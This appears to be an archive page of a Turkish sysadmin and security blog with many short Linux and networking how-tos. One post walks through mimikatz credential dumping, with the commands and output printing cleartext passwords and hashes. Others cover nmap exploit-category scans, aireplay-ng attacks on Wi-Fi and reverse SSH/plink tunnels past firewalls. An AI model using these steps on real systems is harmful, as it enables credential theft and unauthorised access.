6 Aralık 2012 Perşembe

Knockd ile Port Knock

Port Knocking olarak bilinen yöntem belirli bir port yada port grubuna belirli paketlerin sırası ile gönderilmesi ve bu paketleri bekleyen knockd servisinin daha önceden belirlenen portları açması veya kapatmasıdır.

Örnek vermek gerekirse; SSH portu dışarıdan erişimlere kapatılır. Daha sonra uygun paket kombinasyonunu gönderen sistemler için SSH portuna izin verilir.  Bu sayede doğru şekilde kapı çalmayan sistemler için SSH portu açılmaz...

Knockd servisini kurmak için aşağıdaki gibi bir komut verebiliriz.

root@gondor:~# apt-get install knockd

Daha sonra /etc/knockd.conf dosyasını aşağıdaki gibi düzenleyelim...

[options]
          logfile = /var/log/knockd.log

[allowSSH]
          sequence    = 100,200,300
          seq_timeout = 10
          command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
          tcpflags    = syn,fin,urg

[blockSSH]
          sequence    = 300,200
          seq_timeout = 5
          command     = /sbin/iptables -D INPUT  -s %IP% -p tcp --dport 22 -j ACCEPT
          tcpflags    = syn

Bu dosyada allowSSH kısmında 100,200,300 numaralı portlara 10 saniye içerisinde syn,fin ve urg bayrakları taşıyan paketler gönderdiğimizde tcp 22 (ssh) portuna izin verecek iptables kuralının girilmesini söylüyoruz.

blockSSH kısmında ise 300 ve 200 nolu portlara 5 sn içerisinde syn bayrağı taşıyan paketler gönderildiğinde SSH izin kuralını kaldıracaktır.

Daha sonra /etc/knockd.conf dosyası içerisinde START_KNOCKD değerini 1 yapıyoruz. KNOCKD_OPTS eğerini ise dinlemek istediğimiz ethernet kartını gösterecek şekilde değiştiriyoruz. Benim örneğimde eth1 kartı kullanıldığı için  KNOCKD_OPTS="-i eth1" şeklinde düzenledim...

# control if we start knockd at init or not
# 1 = start
# anything else = don't start
#
# PLEASE EDIT /etc/knockd.conf BEFORE ENABLING
START_KNOCKD=1

# command line options
KNOCKD_OPTS="-i eth1"

Şimdi gelelim kapıyı nasıl çalacağımza... :) Bunun için, keyfi paket üretmemizi ve bir yerlere fırlatmamızı sağlayan hping  aracını kullanabiliriz :) SSH portunun açılması SYN,FIN ve URG bayraklı paketleri sırası ile 100,200 ve 300 nolu portlara gödnermemiz gerekiyor.

root@mordor:~# hping -i eth0 -c 1 -S -F -U 192.168.100.136 -p 100
root@mordor:~# hping -i eth0 -c 1 -S -F -U 192.168.100.136 -p 200
root@mordor:~# hping -i eth0 -c 1 -S -F -U 192.168.100.136 -p 300

Bu üç komutu arka arkaya işlettiğimizde knockd kapıyı çaldığımızı fark ederek TCP 22 portunu bizim erişebilmemiz için açacaktır.

Kapıyı kapatmak istersek knockd.conf dosyasında belirttiğimiz gibi 300 ve 200 nolu portlara SYN bayrağı taşıyan paketler göndermemiz gerekir. Bunu ise aşağıdaki gibi yapabiliriz.

root@mordor:~# hping -i eth0 -c 1 -S 192.168.100.136 -p 300
root@mordor:~# hping -i eth0 -c 1 -S 192.168.100.136 -p 200

Bu iki paketin ardından knockd ssh servisine bizim için verdiği izni kaldırarak kapıyı kapatacaktır.  Kapıyı doğru şekilde çalmayı bilmeyen kimse kapının açılmasını sağlayamaz :)


5 Aralık 2012 Çarşamba

Ubuntu için Nmap Paketi Oluşturmak

Ubuntu 12.10 deposunda bulunan nmap 5.X sürümü nse scriptlerini kullanırken ve nmap --script-updatedb komutu ile güncellemek istediğinizde aşağıdakine benzer hatalar veriyordu...

Starting Nmap 5.21 ( http://nmap.org ) at 2011-02-22 12:08 CET
NSE: Updating rule database.
NSE: error while updating Script Database:
[string "local nse = ......"]:17: /usr/share/nmap/scripts//citrix-brute-
xml.nse:35: module 'citrixxml' not found:
        no field package.preload['citrixxml']
        no file './citrixxml.lua'
        no file '/usr/local/share/lua/5.1/citrixxml.lua'
        no file '/usr/local/share/lua/5.1/citrixxml/init.lua'
        no file '/usr/local/lib/lua/5.1/citrixxml.lua'
        no file '/usr/local/lib/lua/5.1/citrixxml/init.lua'
        no file '/usr/share/lua/5.1/citrixxml.lua'
        no file '/usr/share/lua/5.1/citrixxml/init.lua'
        no file '/usr/share/nmap/nselib/citrixxml.lua'
        no file './citrixxml.so'
        no file '/usr/local/lib/lua/5.1/citrixxml.so'

Depoları kurcalamak çözüm olmadığında kendi nmap'imizi kendimiz derleyip paket yapalım diye düşündük. Sonrasında olaylar aşağıdaki gibi gelişti :)

Öncelikle aşağıdaki komutla nmap 6.25 paketini nmap.org sitesinden indirdik.

root@mordor:~# wget http://nmap.org/dist/nmap-6.25.tar.bz2

İndirdiğimiz arşiv dosyasını açalım ve açılan dizine geçelim.

root@mordor:~# tar jxvf nmap-6.25.tar.bz2
root@mordor:~# cd nmap-6.25/


4 Aralık 2012 Salı

DD ile Disk İmajı Almak ve Mount Etmek...

Bir sabit diskin imajını linux/unix/windows sistemlerde dd aracını kullanarak alabilirsiniz. dd alt seviyede kopyalama yaptığından dosya sistemi ve dosyalarla ilgilenmeksizin sabit diskin en başından itibaren bit bit tüm diski boş alanlarda dahil olmak üzere kopyalar...

Örneğin /dev/sdb olarak görülen diskin imajını almak istersek şöyle bir komut verebiliriz.

harun@mordor:~# dd if=/dev/sdb of=/root/disk.img bs=8M

Bu komut /dev/sdb aygıtını 8 MB boyunda bloklar halinde okuyup disk.img dosyası içerisine yazacaktır.

İmaj içerisindeki disk bölümlerine erişmek istersek ne yapmak gerekir? İlk olarak fdisk komutunu kullanarak disk.img dosyası içerisindeki disk bölümlerini listeleyelim.

harun@mordor:~# fdisk -l disk.img 

Disk disk.img: 320.1 GB, 320071851520 bytes
255 heads, 63 sectors/track, 38913 cylinders, total 625140335 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x0009AAAA

   Device Boot      Start         End      Blocks   Id  System
disk.img1   *        2048      206847      102400    7  HPFS/NTFS/exFAT
disk.img2          206848   625139711   312466432    7  HPFS/NTFS/exFAT

disk.img dosyası içerisinde 206848 sektörden başlayan disk bölümünü mount etmek için bir loop aygıtı oluştualım. Bunun için aşağıdaki gibi bir komut kullanabiliriz.

harun@mordor:~#losetup /dev/loop0 disk.img -o $(( 206848 * 512 ))

Daha sonra /dev/loop0 aygıtının dosya türünü aşağıdaki komutla "special-files" olarak belirleyelim...

harun@mordor:~# file -s /dev/loop0 
/dev/loop0: x86 boot sector, code offset 0x52, OEM-ID "NTFS    ", sectors/cluster 8, reserved sectors 0, Media descriptor 0xf8, heads 240, hidden sectors 206848, dos < 4.0 BootSector (0x80)

Daha sonra ise /dev/loop0 aygıtı ile temsil edilen disk imajımızı salt okunur olarak /mnt dizini altına bağlayalım...

harun@mordor:~# mount /dev/loop0  /mnt/ -o ro
Disk imajımız artık /mnt dizinine bağlandığına göre  /mnt dizini altına dosyalarımıza ulaşabiliriz.

3 Aralık 2012 Pazartesi

Sudo Yetkisi Vermek ve Hesap Kilitlemek

Linux sistemlerde normal bir kullanıcının sudo komutu aracılığı ile geçici olarak yönetici yetkileri alması ve yönetici yetkileri ile komut çalıştırabilmesi için sudo komutu kullanılır.

Normal şartlar altında kimin hangi komutu sudo ile çalıştırabileceği /etc/sudoers dosyası içerisinde tanımlanır. Ancak ubuntu kullanıyorsanız kullanıcınızı aşağıdaki komutla sudo grubuna ekleyebilirsiniz...
root@mordor:/# adduser hakan sudo

Bu komut hakan kullanıcısını sudo grubuna ekleyecektir. Bu komuttan sonra ise hakan kullanıcısı istediği zaman sudo komutunu kullanabilir...

Hesabını kilitlemek istediğiniz bir kullanıcınız var ise passwd komutu yardımı ile hesabı kilitleyebilirsiniz.

root@mordor:/# passwd destek -l

Hesabı tekrar aktif etmek için ise aşağıdaki komut kullanılabilir.

root@mordor:/# passwd destek -u

Linksys X2000 Wireless İstemciler Arası İletişim Sorunu

Elinizin altına bir adet Linksys X2000 wireless modem var ise ve siz bu modemi kullanmak zorunda kalmışsanız kablosuz ağa dahil olan istemcilerin bir birlerine erişemediklerini göreceksiniz...

Uzunca bir cebelleşmeden sonra sorunun X2000 cihazında olduğunu keşfedip arayüzüne bağlanacak ve çözüm arayacaksınız. Ancak arayüzdeki seçeneklerin hiç birisi derdinize derman olmayacak...

Bu sorunu çözmek için arayüzde görünmeyen ama arkada bir yerlerde duran bazı ayar sayfalarına ulaşmanız gerekecek...

Öncelikle modeminizin IP adresini en sevdiğiniz web tarayıcınıza yazın ve şifrenizle giriş yapın. Daha sonra ise http://10.0.0.254/Wireless_Advanced.asp sayfasını ziyaret edin.Benim modemim 10.0.0.254, siz kendi IP adresinizi yazmalısınız :)

Daha sonra açılan sayfada "AP Yalıtımı / AP Isolation" ayarını "Devreden Çıkarıldı /Disabled" olarak değiştirin ve ayarları kaydedin.. Artık kablosuz istemcileriniz bir birine rahatlıkla erişebilirler.

29 Kasım 2012 Perşembe

Nmap ile Zaafiyet Taraması

Nmap çok yetenekli olması nedeniyle en sevdiğimiz oyuncakların başında yer alıyor. Aşağıdaki gibi bir komula nmap scripting özelliklerini kullanarak gözünüze kestirdiğiniz hedef üzerinde detaylı bir zayıflık taraması yapabilir ve sonuçları rapor.xml dosyasına yazdırabilirsiniz.

nmap -sV --script=exploit,external,vuln,auth,default -oX rapor.xml  192.168.1.1

Nmap'in zayıflık tarama yeteneklerini Nessus, OpenVAS ve Nexpose gibi araçlarla kıyaslamak için aşağıdaki bağlantıyı ziyaret etmek faydalı olabilir...

http://hackertarget.com/nessus-openvas-nexpose-vs-metasploitable/

23 Ekim 2012 Salı

Mimikatz ile Aktif Kullanıcı Parolalarını Almak

Hedef sistem üzerinde aktif olarak oturum açmış kullanıcı hesaplarına ait parolalar mimikatz aracı ile salt metin (clear text) olarak alınabiliyor.

Bunun için yapılması gereken mimikatz aracının hedef sisteme yüklemek, çalıştırmak ve ardından sekurlsa.dll dosyasını enjekte ederek, @getLogonPasswords komutu ile aktif oturumların parolalarını almak...

C:\mimi>mimikatz
mimikatz 1.0 x86 (RC)    /* Traitement du Kiwi (Oct 13 2012 13:47:20) */
// http://blog.gentilkiwi.com/mimikatz
...
mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK
...
mimikatz # inject::service samss sekurlsa.dll
...
mimikatz # @getLogonPasswords full 
Bu komutun ardından aktif olarak oturum açmış bulunan kullanıcı hesaplarına ait açık haldeki parolalar ve hash bilgileri aşağıdaki gibi listelenecektir. Aşağıda kırmızı ile işaretlediğim "Mot de passe:" başlıkları altında kullanıcı parolalarının listelendiğini görebilirsiniz...

Authentification Id         : 0;242741
Package d'authentification  : NTLM
Utilisateur principal       : oem
Domaine d'authentification  : oem-Bilgisayar
    msv1_0 :     
     * Utilisateur  : oem
     * Domaine      : oem-Bilgisayar
     * Hash LM      : b42c04ccf43253bbaad3b435b51404ee
     * Hash NTLM    : ebe666e1cfd412358a0977fef42c76dd
    wdigest :     
     * Utilisateur  : oem
     * Domaine      : oem-Bilgisayar
     * Mot de passe : coslat
    tspkg :     
     * Utilisateur  : oem
     * Domaine      : oem-Bilgisayar
     * Mot de passe : coslat
    kerberos :     
     * Utilisateur  : oem
     * Domaine      : oem-Bilgisayar
     * Mot de passe : coslat


Authentification Id         : 0;137629
Package d'authentification  : NTLM
Utilisateur principal       : user
Domaine d'authentification  : oem-Bilgisayar
 msv1_0 :  
  * Utilisateur  : user
  * Domaine      : oem-Bilgisayar
  * Hash LM      : 2b3137035a2b985b08bd455a508ea203
  * Hash NTLM    : d4605c09dbb7d109ff993066671b72ac
 wdigest :  
  * Utilisateur  : user
  * Domaine      : oem-Bilgisayar
  * Mot de passe : y1h2n3u4j5m6
 tspkg :  
  * Utilisateur  : user
  * Domaine      : oem-Bilgisayar
  * Mot de passe : y1h2n3u4j5m6
 kerberos :  
  * Utilisateur  : user
  * Domaine      : oem-Bilgisayar
  * Mot de passe : y1h2n3u4j5m6

Gentil Kiwi tarafından yapılan yorumdan sonra gelen düzenleme:
Aktif parola listesini almak için aşağıdaki komutları vermek yeterli olacakmış. İşleri bu kadar uzatmaya gerek yokmuş...

C:\mimi>mimikatz
mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK
mimikatz # sekurlsa::logonPasswords full


Ubuntu 12.10 Vmware Blocking File System Problemi

Ubuntu 12.10 sürümünüde Linux 3.5.0-17-generic çekirdeği geliyor. Vmware Workstation 8.0.2 ise 3.5.x çekirdeği üzeride blocking file system modülünü derlemeyi başaramıyor. Bu modülün derlenmesi için /usr/lib/vmware/modules/source/vmblock.tar dosyası içerisindeki filesystem.c dosyasında küçük bir düzenleme yapmak gerekiyor.

Öncelikle vmblock.tar dosyasını /tmp altında bir yere açalım...

mkdir /tmp/vmblock
tar xvf /usr/lib/vmware/modules/source/vmblock.tar -C /tmp/vmblock

Biraz önce tar dosyasından çıkardığımız
/tmp/vmblock/vmblock-only/linux/filessytem.c dosyasını en sevdiğimiz metin edörü ile açarak içerisinde 528. satırdan başlayan aşağıdaki ifadeyi buluyoruz.

   rootDentry = d_alloc_root(rootInode);
   if (!rootDentry) {
      iput(rootInode);
      return -ENOMEM;
   }

Bulduğumuz ve yukarıdaki gibi görünen satırları aşağıdaki gibi değiştiriyoruz...

   #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 4, 0)
      rootDentry = d_alloc_root(rootInode);
   #else
      rootDentry = d_make_root(rootInode);
   #endif

   if (!rootDentry) {
      iput(rootInode);
      return -ENOMEM;
   } 

filessytem.c dosyasında gerekli değişikliği yaparak kayıt ettikten sonra vmblock.tar dosyasını yeniden oluşturmamız gerekiyor.

cd /tmp/vmblock/
tar cvf /usr/lib/vmware/modules/source/vmblock.tar .


vmblock.tar dosyaısnı yeniden oluşturduğumuza göre artık vmware'i başlatıp modüllerin derlenemesini keyifle izleyebiliriz...

24 Eylül 2012 Pazartesi

Dosya İsimlerinde Garip Karakterleri Temizlemek

Bazı durumlarda linux sisteminizdeki dosya adları klavyeden yazamadığınız saçma sapan karakterler içerebiliyor. Bu gibi durumlarda rename komutunu aşağıdaki gibi kullanarak harfler, rakamlar, nokta, "-" ve "_" sembolleri dışında kalan karakterleri "_" sembolü ile değiştirerek dosya isimlerini düzenleyebilirsiniz...

rename 's/[^A-Za-z0-9\.\-\/_]/_/g' *.pdf

25 Ağustos 2012 Cumartesi

OpenVAS & Metasploit

OpenVAS ve Metasploit araçlarının birlikte kullanımı gösteren kısa bir video.



31 Mayıs 2012 Perşembe

Iptables Örnekleri

Iptables güvenlik duvarı için bazı örnek kuralların olduğu belgeye buradan ulaşabilirsiniz.

https://docs.google.com/document/d/13SaCPAT81DmFtA60bBW7ZCO_tnvgTUCPKH3LsICdzUw/edit

9 Mayıs 2012 Çarşamba

Karabük Üniversitesi Semineri

5 Mayıs 2011 Cumartesi günü Karabük Üniversitesinde çok kıymetli Hocalarım ve Öğrenci arkadaşlarımla buluşarak "Hacker Kültürü ve Etik Hacker" konulu bir konuşma yaptım...

Naçizane bilgilerimi ve fikirlerimi paylaşarak öğrenci arkadaşlarımın ufuklarını genişletmeye ve zihinlerinde yeni soru işaretleri oluşturarak yeni bir şeyleri, yeni bakış açılarıyla keşfetmelerini sağlamaya çalıştım.

Daha önce pek çok kez duydukları "Ağabey Nasihatlerini" bir kezde benden dinlemiş oldular :) Ağabey nasihatlerini sabırla dinleyenler için konuşmamın sonunda küçük bir demo yaptım.

Bir bilgisayar sistemin nasıl ele geçirilebileceğini ve madalyonun diğer yüzünden bakarak av durumuna düşmemek için nelere dikkat etmemiz gerektiğini göstermeye çalıştım. Umarım faydalı olmuştur...

Başta Burhan Hocam olmak üzere bizleri, güleryüz ve samimiyetle karşılayıp, mükemmel şekilde ağırlayan Hocalarıma ve başta Ömer olmak üzere benimle yakından ilgilenen, can kulağıyla dinleyen öğrenci arkadaşlarıma bir kez de buradan teşekkür ediyorum...



1 Mayıs 2012 Salı

Make Install to Fake Root

Derlediğiniz bir paketi, istediğiniz bir dizine install etmek için aşağıdaki gibi bir make install komutu verebilirsiniz.

make DESTDIR=/harun/ install

Bu komut, derlediğimiz yazılama ait tüm dosyaları kök dizin olarak gösterdiğim /harun dizini içerisine yükleyecektir.

26 Nisan 2012 Perşembe

MySQL Root Parolasını Değiştirmek

MySQL sunucuna root parolası atamak için mysqladmin aşağıdaki gibi kullanılabilir.
root@modor# mysqladmin -u root password parola

MySQL root parolasını değiştirmek için ise mysqladmin aşağıdaki gibi kullanılabilir.
root@modor# mysqladmin -u root -p'parola' password yeniparola 

MySQL' root kullanıcıyla bağlandıktan sonra MySQL konsolu üzerinden SQL sorgularıyla parola işlemlerini yapabiliriz. Bunun için ilk olarak mysql veritabanına geçmemiz gerekiyor. Aşağıdaki gibi bir komutla mysql veritabanına geçebiliriz.
mysql> \u mysql
Database changed
Şimdi de root kullanıcısnın parolasını tanımlayacak bir SQL sorgusu yazalım.
mysql > SET PASSWORD FOR 'root'@'localhost' = PASSWORD('yeniparola');

Bu değişikliğin aktif olması için ayararı aşağıdaki komutla yenileyelim.
mysql > flush privileges;

MySQL Sunucuna Uzaktan Bağlanmak

Öncelikle my.conf dosyasını en sevdiğiniz metin editörüyle açıp  "bind-address = 127.0.0.1" satırının başına bir # sembolü ekleyerek açıklama satırı haline getirelim ve akabinde mysql sunucuyu restart ederek bu ayarın aktif olmasını sağlayalım...

root kullanıcısına her yerden sisteme bağlanabilmesi için root@% şeklinde tanımlama yapalım ve tüm her şey için tüm izinleri verelim...

create user 'root'@'%' identified by 'parola';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'   WITH GRANT OPTION;

Uzaktan bağlanacak olan raporcu kullanıcısı için raporcu@% şekline bir kullanıcı tanımlayalım ve yalnızca veritabanım isimli veritabanı için SELECT ve INSERT yetkileri verelim...

create user 'raporcu'@'%' identified by 'parola';
GRANT SELECT, INSERT ON veritabanım.* TO 'raporcu'@'%'   WITH GRANT OPTION;

25 Nisan 2012 Çarşamba

Gzip ve Tar Win32 ile tar.gz Açmak

tar.gz dosyalarn açmak için gzip ve tar komutlarından oluşan aşağıdaki gibi bir kombo kullanabilirsiniz.

gzip -d <  harun.tar.gz | tar -x 

Dosyaların belirli bir dizine - örneğin /var/www dizinine - açılması için yukardaki kombo aşağıdaki gibi kullanılabilir.

ip -d <  harun.tar.gz | tar -x -C /var/www

24 Nisan 2012 Salı

Firefox Network Cache Nasıl Kapatılır

Firefox en sevdiğim web tarayıcısı olarak her zaman ilk tercihimdir. Ancak bazı durumlarda ön belleğe aldığı sayfalar değişmiş olsa ön bellekten cevap vermeye devam ediyor...

Bu gibi durumlarda bağlanmak istediğiniz adres yerine eski sayfa inatla gelmeye ve sinir bozmaya devam ediyor. Bunu engellemek için firefox cache özelliği şöyle kapatılabilir...

Öncelikle adres satırına about:config yazıp enter tuşuna basıyoruz ve gelen uyarı mesajında "Söz veriyorum dikkatli olacağım" diyerek devam ediyoruz. Karşımıza gelen anahtarlardan "network.http.use-cache" anahtarını bulup değerini "false" olarak ayarlıyoruz.

network.http.use-cache = false

Bundan sonra firefox önbellek kullanmak yerine istediğiniz sayfaları taze taze alıp gelecektir :)

18 Nisan 2012 Çarşamba

Asus N53SN Touchpad Kilitlenme Problemi

Uzun süredir Asus N53SN diz üstü bilgisayarımda Ubuntu kullanıyorum. Zaman zaman sebebini henüz bilmediğim bir nedenden touchpad çalışmaz hale geliyor. Bu gibi durumlarda aşağıdaki komutu vererek touchpad tekrardan aktif edilebilir...

synclient touchpadoff=0

Basit aristo mantığı kullanarak touchpaddoff parametresinin 1 olması durumunda touchpadin kapanacağını tahmin edebilirsiniz :)

synclient touchpadoff=1

16 Nisan 2012 Pazartesi

FreeBSD Zorla Disk Bağlamak (Force Mount)

Olurda günün birinde bir freebsd sistem diskin temiz olmadığını ve fstab dosyası bozuk göründüğü için fsck yapamadığını söyleyerek açılışta takılıp kalırsa aşağıdaki yöntemi deneyerek diski bağlar, fstab dosyasını düzenler ve akabinde fsck yaparak sistemi ayağa kaldırabilirsiniz...

Önce sistemin açılırken düştüğü ve diskleri salt okunur bağladığı "güvenli kip" konsolunda bağlı bulunan diskleri ayıralım...

mount -u

Daha sonra bu diskleri tekrardan yazılabilir olarak bağlamay çalışalım...

mount -a

mount -a başarılı bir şekilde diskleri bağlarsa ne âla... Fakat disk temiz olmadığı için muhtemelen mount diskin rw modda bağlanmasına izin vermeyecektir. Bu duurmda aşağıdaki gibi zor kullanarak diski bağlayabilirsiniz...

mount -a -o force

Bu komutun diskleri yazılabilir olarak bağlaması gerekiyor. Bu aşamadan sonra fstab dosyasını düzenledikten sonra sistemi yeniden başlatabilirsiniz. Sistem açılışta kendisi fsck yapacak ve bozuk olduğunu düşündüğü disk bölümlerini düzenleyerek normal bir şekilde açılacaktır...

Aynı Gün Gelen Ekleme:  Bu gün disk mount günüm olsa gerek. Arka arkaya farklı sistemlerde disk sorunlarıyla cebelleşmem gerekti.

Olurda sorun çıkaran ufs dosya sistemli bir diski BSD sisteme mount edip içerisinden veri almak isterseniz ve "mount: /dev/ada0s1a: Operation not permitted" diyerek disk temiz olmadığı için inatla bağlanmazsa aşağıdaki komutu deneyebilirsiniz...

mount -f -o ro /dev/ada0s1a /mnt

-f ile sistem mount etmeye zorlanır.
-o ro ile diskin salt okunur (read only) mount edilmesi söylenir. Bu gibi arızalı diskleri yazılabilir olarak mount etmek tehlikeli olabilir...

Bu aşamadan sonra disk üzerinden gerekli veriler alınır ve bozulan disk tarihin karanlık sayfalarındaki makus kaderine terk edilir..

15 Nisan 2012 Pazar

Ubuntu 11.10 Aircrak-ng Channel -1 Problemi

Sürekli aynı şeyleri tekrarlıyorum ancak sürekli aynı sorularla karşılaşıyorum. Genellikle sorular değişmediği için cevaplarda pek fazla değişmiyor. Daha önceki Ubuntu sürümleri için yazmış olduğum bir çözümü bu kez Ubuntu 11.10 için tekrar elden geçirerek yazıyorum....

Aircrak-ng ile uğraşmaya başladığınızda er yada geç "mon0 is on channel -1, but the AP uses channel 1 " hatasını almaya başlayacaksınız.

root@mordor:~# aireplay-ng -1 0 -e Seker mon0
01:09:28  mon0 is on channel -1, but the AP uses channel 1

Bu durumda benim bildiğim tek çözüm aşağıdaki komutları sırasıyla vererek yeni sürücü derlemek... İsteyenler bu komutları bir .sh dosyası olarak kayıt edip işi otomatiğe de bağlayabilirler :)

wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2012-04-14.tar.bz2
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
tar jxvf compat-wireless-2012-04-14.tar.bz2
cd compat-wireless-2012-04-14/
patch -p1 < ../mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < ../channel-negative-one-maxim.patch
make
make install

Derleme, kurulum ve reboot işleminden sonra sorunun devam edip etmediğini bir test edelim...

root@mordor:~# aireplay-ng -1 0 -e Seker mon0
No source MAC (-h) specified. Using the device MAC (74:11:22:33:44:55)
01:18:13  Waiting for beacon frame (ESSID: Seker) on channel 6
Found BSSID "00:AA:BB:CC:DD:EE" to given ESSID "Seker".

01:18:13  Sending Authentication Request (Open System) [ACK]
01:18:13  Authentication successful
01:18:13  Sending Association Request [ACK]
01:18:13  Association successful :-) (AID: 1)
Görüldüğü gibi yeni sürücü sorunu çözmüş görünüyor...

7 Nisan 2012 Cumartesi

Netsh - Windows Network Interface Disable - Enable

Uzaktan bağlandığımız bir Windows sistemde yaptığımız muhtelif ayarlar nedeniyle ağ bağlantısını kapatıp-açmamız (disable-enable) yapmamız gerekiyordu...

Ancak sisteme uzaktan bağlı olduğumuz için ağ arabirimini kapattığımız anda bizim bağlantımız kesilecek ve bir kaç yüz kilometre uzaktaki makinenin başına gidip ilgili ağ bağdaştırıcısına sağ tıklayıp bağlantıyı aktif etmemiz gerekecekti...

Bir Linux kullanıcısı olarak benimde aklıma ağ kartını bizim yerimize kapatıp açacak bir betik dosyası hazırlamak, çalıştırmak ve işe yaraması için dua etmek geldi :)

netsh interface set interface "Yerel Ağ Bağdaştırıcısı" disable 
netsh interface set interface "Yerel Ağ Bağdaştırıcısı" enable


Yukarıdaki gibi bir bat dosyası hazırladık ve .bat uzantısıyla kayıt ettikten sonra üzerine çift tıkladık. Bat dosyasındaki ilk satır bizim bağlanmakta olduğumuz ağ arayüzünü devre dışı bırakırken, ikinci satır ağ arayüzünü tekrar aktif hale getirdi. Böylece mutlu sona ulaşmış olduk...

25 Mart 2012 Pazar

Metasploit Pro Parolasını Sıfırlamak

Metasploit Pro oldukça kullanışlı ve gelişmiş bir pentest aracıdır. Bu araç ücretsiz versiyonun aksine çok kolay bir şekilde tarama, kırma ve raporlama yapılmasına imkan tanıyan güzel bir uygulamadır...

Oldurda bir gün metasploit pro parolanızı unutursanız ne olur? İşte o zaman aşağıdaki yöntemle metasploit parolanızı sıfırlayabilirsiniz.

root@mordor:~# /opt/metasploit-4.1.4/diagnostic_shell
bash-4.1# /opt/metasploit-4.1.4/apps/pro/ui/script/resetpw


[*] Please wait while the environment is loaded.


************************************
*                                  *
*    Metasploit Password Reset     *
*                                  *
************************************

[*] Warning! This tool will reset the password for the 'root' user account.
[*] To continue, please type "yes"

Continue? (yes/no) > yes

[*] The password for root has been reset to a random value

    New Password: Zo0!p,lX

[*] Please change this password on the next login.
[*] Hit enter to exit

ilk önce diagnostic_shell açtık ve ardından resetpw komutuyla parolamızın sıfırlanmasını sağladık. Yeni parolamız hayırlı uğurlu olsun :)

20 Mart 2012 Salı

Laby Robot Karınca Programlama Oyunu

Laby grafik olarak çok basit olmasına rağmen programlama becerisine sahip olan insanlar için eğlenceli, programlama mantığını kavramaya çalışanlar için faydalı olabilecek keyifli bir oyun...

Oyun temel olarak bir robot karıncanın programlanması ve muhtelif zorluklardaki labirentlerde dolaştırılmasından ibaret. Tabii bunu yapmak için C, Python veya Java şeklinde kod yazmanız ve robot karıncanızı programlamanız gerekiyor...

Karıncanızı hareket ettirmek, yolunuza çıkan "kaya" parçalarını almak veya bırakmak için tanımlanmış belirli fonksiyonlar var. Bu fonksiyonları kullanarak karıncanızı çıkış kapısına ulaştırmanız gerekiyor. Tabii bu noktada işin ameleleğini yaparak arka arkaya defalarca aynı fonskiyonları yazabilir ve karıncanızı mutlu mesut bir şekilde çıkış kapısına ulaştırabilirsiniz. Tabii bunun yerine aklınızı ve programlama becerinizi kullanarak yapılacak işler için bir sistematik oluşturmanız ve şık kodlar yazmanız olayı daha keyifli hale getirecektir...

Zira oyun içerisinde for, while, if gibi temel programlama yapılarını kullanabiliyorsunuz. 10 tane forward() fonksiyonu yazmak yerine bir döngü kurmayı tercih edebilirsiniz...

Üstelik oyun kendi fonksiyonlarınızı tanımlamanıza da izin veriyor. Belirli işleri fonksiyon olarak tanımlayıp daha sonra yazdığınız fonksiyonları muhtelif döngüler içerisinden çağırabiliyorsunuz...

Canınız sıkıldığında vakit geçirmek ve bu sırada programlama becerinizi sınamak ve zihninizi keskin tutmak için uğraşabileceğiniz eğlenceli bir oyun...

13 Mart 2012 Salı

Proje Neden Başarısız Olur?

Uzun zaman önce aldığım Proje Yönetimi dersinde "Bir Proje Neden Başarısız Olur?" konulu ödev için hazırladığım sıradışı sunum dosyası harici diskimi kurcalarken gözüme çarptı. Dilbert karikatürleri ve benim yorumlarımın bulunduğu bu eğlenceli sunumu mutlaka paylaşmalıyım diye düşündüm...

Hocam ödevimi beğenmişti ve sayfalarca yazı yazan arkadaşlarımın ödevlerine kıyasla çok daha iyi bir not vermişti. Umarım sizde beğenirsiniz...

İşte "Proje Neden Başarısız Olur?" sunum dosyası :)

10 Mart 2012 Cumartesi

SSH Tunel II

Şimdiaşağıdaki gibi bir ağ yapısı olduğunu düşünelim. Mordor isimli sunucuya internet üzerinden SSH erişimi olduğunu ve firewall üzerinde başka her hangi bir sisteme herhangi bir erişim olmadığını hayal edelim...

Harun bilgisayarı SSH ile gondor makinesine RDP bağlantısında kullanılacak tüneli kazmak için mordor makinesine bağlansın.

ssh -L8888:gondor:3389 -g root@mordor


Bu komutun sonunda Harun makinesi ve gondor arasında bir SSH tüneli oluşacaktır. Harun makinesinden gondor bilgisayarına RDP yapmak için şağıdaki gibi bir komut verilebilir.

rdesktop localhost:8888


Tünel kazarken kullanılan SSH komutunda kullanılan -g parametresi ALi makinesinin de gondor bilgisayarına RDP yapması için harun bilgisayarının 8888 portuna ulaşabilmesini sağlar.

Ali bilgisayarı aşağıdaki komutla gondor bilgisayarına RDP yapabilir.

rdesktop harun:8888


Bağlantıyı tersten başlatmak için mordor bilgisayarı aşağıdaki gibi bir komutla Harun bilgisayarına SSH yapar ve gondor ile Harun arasında bir tünel oluşturur.

ssh -R 9999:gondor:3389 harun@harun


Bundan sonra harun bilgisayarı aşağıdaki komutla kendisine rdp yaparak kazılan tünel içinden gondor bilgisayarına erişebilir. Ali bilgisayarının bu tünel üzerinden gondor bilgisayarına rdp yapabilmesi için; harun bilgisayarında
/etc/ssh/sshd_config dosyası içerisinde "GatewayPorts yes"  şeklinde ayarlanmış olmalıdır. Bu ayar yapıldığı taktirde Ali, harun bilgisayarı üzerinden kazılan tüneli kullanarak gondor bilgisayarına rdp yapabilir. Bunun için aşağıdaki komut yeterlidir.

rdesktop harun:9999


Windows olan gondor makinesinden harun makinesine ters ssh tüneli kazmak ve RDP servisinin Harun ve Ali makineleri tarafından kullanılabilir olmasını sağlamak için plink aracı kullanılabilir.Bunun için aşağıdaki gibi bir komut verilmesi yeterli olacaktır.

plink -P 443 -pw parola -R 8888:localhost:3389 root@harun


Bir Windows makineden dinamik ssh tüneli oluşturmak ve mordor üzerinden web e çıkmak için ise aşağıdaki gibi bir komut kullanılabilir.

plink -D 8888 root@mordor

